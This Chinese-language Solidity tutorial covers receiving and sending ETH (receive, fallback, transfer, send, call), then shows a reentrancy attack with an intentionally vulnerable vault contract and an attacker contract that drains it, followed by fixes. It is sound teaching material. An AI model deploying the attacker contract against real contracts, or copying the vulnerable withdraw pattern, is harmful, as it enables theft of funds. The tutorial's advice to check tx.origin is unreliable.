收款方式
🧾 1. 合约收款方式
payable修饰符
function funcName() public payable() {
}
🔹 receive()
函数
✅ 用途
当合约收到纯 ETH 转账(例如 address(this).transfer()
或 address(this).send()
)且没有调用数据(data为空)时,会调用 receive()
函数。
✅ 语法
receive() external payable { // 收款逻辑 }
-
external
:只能被外部调用。 -
payable
:允许接收 ETH。 -
不能有参数,也不能返回值。
-
每个合约只能有一个
receive()
函数。
✅ 使用场景
contract MyContract {
event Received(address sender, uint amount);
receive() external payable {
emit Received(msg.sender, msg.value);
}
}
🔹 fallback()
函数
✅ 用途
-
当调用合约函数时,找不到对应函数签名
-
或者调用时带有数据,但合约中没有
receive()
函数可调用
会触发 fallback()
函数。
✅ 语法(两种)
1. 允许收款:
fallback() external payable { // fallback 收款逻辑 }
2. 不收款,仅响应错误调用:
fallback() external { // fallback 非 payable,不能接收 ETH }
``
✅ 使用场景
contract MyContract {
event FallbackCalled(address sender, uint amount, bytes data);
fallback() external payable {
emit FallbackCalled(msg.sender, msg.value, msg.data);
}
}
📊 receive
vs fallback
对比总结
特性 | receive() |
fallback() |
---|---|---|
是否能接收 ETH | 是(必须是 payable ) |
可选(payable 或不写) |
是否接收 data | 否(data 必须为空) | 是(data 非空或无函数匹配) |
是否必须存在 | 否(可选) | 否(可选) |
常见触发条件 | 纯 ETH 转账,无数据 | 错误调用或带 data 转账 |
🧠 实战建议
-
如果你只是想接收纯 ETH,可以只写
receive() payable
。 -
如果你想对任何未知调用做处理(比如 proxy、日志记录),就用
fallback()
。 -
如果两者都写了,Solidity 会优先调用
receive()
,只在data
不为空时才会调用fallback()
。
📥 2. 查看合约收到的余额
address(this).balance
- 返回当前合约地址的 ETH 余额(单位为 wei)
💸 3. 合约向外转账的三种方式
转给 外部账户、合约账户
✅ address.transfer
payable(msg.sender).transfer(1 ether);
- 固定 2300 gas,失败自动 revert
✅ address.send
bool success = payable(msg.sender).send(1 ether);
require(success, "Send failed");
- 同样只提供 2300 gas,但需要手动检查返回值
✅ call(推荐)
(bool success, ) = payable(msg.sender).call{value: 1 ether}("");
require(success, "Call failed");
- 可调 gas,兼容新版本,官方推荐方式
🛡️ 4. 安全建议
-
使用
call
替代transfer
/send
,避免Out of Gas
错误 -
使用
ReentrancyGuard
防止重入攻击 -
避免在
receive()
中执行复杂逻辑
🔐 5. 示例:收款和提款合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
address public owner;
constructor() {
owner = msg.sender;
}
receive() external payable {}
function withdraw() external {
require(msg.sender == owner, "Not owner");
(bool success, ) = payable(owner).call{value: address(this).balance}("");
require(success, "Withdraw failed");
}
function getBalance() external view returns (uint) {
return address(this).balance;
}
}
⚠️ 6. 重入攻击(Reentrancy Attack)
🐞 什么是重入攻击?
当合约调用外部地址(如 call
转账)时,如果该地址是一个合约,它可以在未完成前一次调用前,反复调用回原合约的函数,造成重复提现等安全问题。
🎬 攻击演示:易受攻击的合约
// VulnerableVault.sol
contract VulnerableVault {
mapping(address => uint) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
require(balances[msg.sender] > 0, "No balance");
// 发送 ETH(外部调用,容易被攻击者重入)
(bool success, ) = msg.sender.call{value: balances[msg.sender]}("");
require(success, "Transfer failed");
// 更新余额(放在调用后,导致漏洞)
balances[msg.sender] = 0;
}
}
🧨 攻击者合约
// Attacker.sol
contract Attacker {
VulnerableVault public target;
constructor(address _target) {
target = VulnerableVault(_target);
}
// 回调函数,趁机再次提取
receive() external payable {
if (address(target).balance > 1 ether) {
target.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether, "Need 1 ETH");
target.deposit{value: 1 ether}();
target.withdraw();
}
}
流程说明
-
👤 用户向 VulnerableVault 合约
deposit()
存入 1 ETH -
🧑💻 攻击者调用
withdraw()
,触发合约转账call
-
🧠 攻击者合约在
receive()
中再次调用withdraw()
-
🔁 因为合约尚未更新
balances
,攻击者可多次提取 -
🏴 合约余额被掏空,攻击成功
🛡️ 如何防止重入攻击?
✅ 使用“检查-效果-交互”模式:
function withdraw() external {
uint amount = balances[msg.sender];
require(amount > 0, "No balance");
// 先更新状态
balances[msg.sender] = 0;
// 再转账(外部调用)
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
✅ 使用 ReentrancyGuard
(OpenZeppelin 提供)
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureVault is ReentrancyGuard {
mapping(address => uint) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
🎯 小结
防御措施 | 说明 |
---|---|
状态更新在前 | 防止多次调用利用旧状态 |
使用 ReentrancyGuard |
简洁防御,适合大多数场景 |
限制外部合约调用 | 检查 tx.origin 或设白名单 |